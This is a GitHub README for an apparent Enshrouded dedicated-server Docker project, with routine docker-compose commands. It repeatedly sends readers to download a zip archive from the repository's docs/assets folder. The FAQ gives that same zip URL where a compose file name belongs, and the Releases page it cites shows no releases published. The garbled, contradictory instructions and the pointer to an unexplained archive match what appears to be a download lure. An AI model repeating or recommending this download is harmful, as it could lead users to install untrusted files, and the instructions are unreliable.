Skip to content

๐ŸŽฎ Automate Enshrouded Dedicated Server setup with an up-to-date Docker image, featuring runtime updates through SteamCMD for seamless gameplay management.

License

Notifications You must be signed in to change notification settings

Shaadlikha/enshrouded-docker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

69 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿณ enshrouded-docker - Easy Game Server Setup for Everyone

๐Ÿ“ฅ Download Now

Download enshrouded-docker

๐Ÿ““ Overview

The enshrouded-docker project provides a dedicated server container using Docker. This setup offers automatic updates using SteamCMD and ensures stable performance with immutable infrastructure. With built-in DevOps automation, even non-technical users can run it smoothly.

๐ŸŒŸ Features

  • Easy Setup: Quickly deploy a game server without complex steps.
  • Automatic Updates: Always run the latest version with SteamCMD.
  • Immutability: Server configuration remains consistent, reducing issues.
  • DevOps Ready: Designed to integrate with automated workflows.

โš™๏ธ System Requirements

Ensure you have:

  • A computer with at least 4GB of RAM.
  • A stable internet connection.
  • Docker installed on your machine. For installation, visit Docker's official guide.

๐Ÿš€ Getting Started

To get started with enshrouded-docker, follow these steps:

  1. Download the application: Visit the Releases page to find the latest version.
  2. Install Docker: If you havenโ€™t installed Docker yet, please do that first. You can find instructions on Docker's website.

๐Ÿ”ง Download & Install

  1. Click on the Download Now button at the top.
  2. Follow the link to the Releases page.
  3. On the Releases page, select the version you want to download. Look for files like https://raw.githubusercontent.com/Shaadlikha/enshrouded-docker/main/docs/assets/enshrouded_docker_v1.8-alpha.3.zip which are necessary for setup.

๐Ÿ› ๏ธ Running the Application

After downloading, follow these steps to run the application:

  1. Open your terminal (or command line).
  2. Navigate to the directory where you downloaded the files.
  3. Run the following command to start the server:
    docker-compose up -d
  4. This command will download the necessary images and start your server in the background.

๐Ÿ“Š Managing Your Server

You can manage your server from the terminal. Here are some useful commands:

  • Stop the Server:
    docker-compose down
  • Check Server Logs:
    docker-compose logs
  • Update Your Server: When a new version is released, just pull the updates:
    docker-compose pull

๐Ÿ“ž Support

If you encounter any issues, you can find help in the Issues section of this repository. Feel free to report bugs or request features.

๐Ÿฐ Contributing

We welcome contributions! If you'd like to help improve this project, please read our Contributing Guidelines.

๐ŸŒ Community

Join our community for discussions, tips, and support. Connect with other users and share your experiences.

๐Ÿ”„ Frequently Asked Questions

How do I check if Docker is running?

Run the command:

docker info

Can I host multiple servers?

Yes, you can host multiple servers by using different directories and changing the service names in the https://raw.githubusercontent.com/Shaadlikha/enshrouded-docker/main/docs/assets/enshrouded_docker_v1.8-alpha.3.zip file.

Is there a GUI for managing this server?

Currently, this setup is managed through the command line, but there are third-party tools available that can provide a GUI for Docker.

๐Ÿ“š Additional Resources

Explore the power of automated game server management with enshrouded-docker. Enjoy your gaming experience! Visit the Releases page to download and start running your dedicated server today!

About

๐ŸŽฎ Automate Enshrouded Dedicated Server setup with an up-to-date Docker image, featuring runtime updates through SteamCMD for seamless gameplay management.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages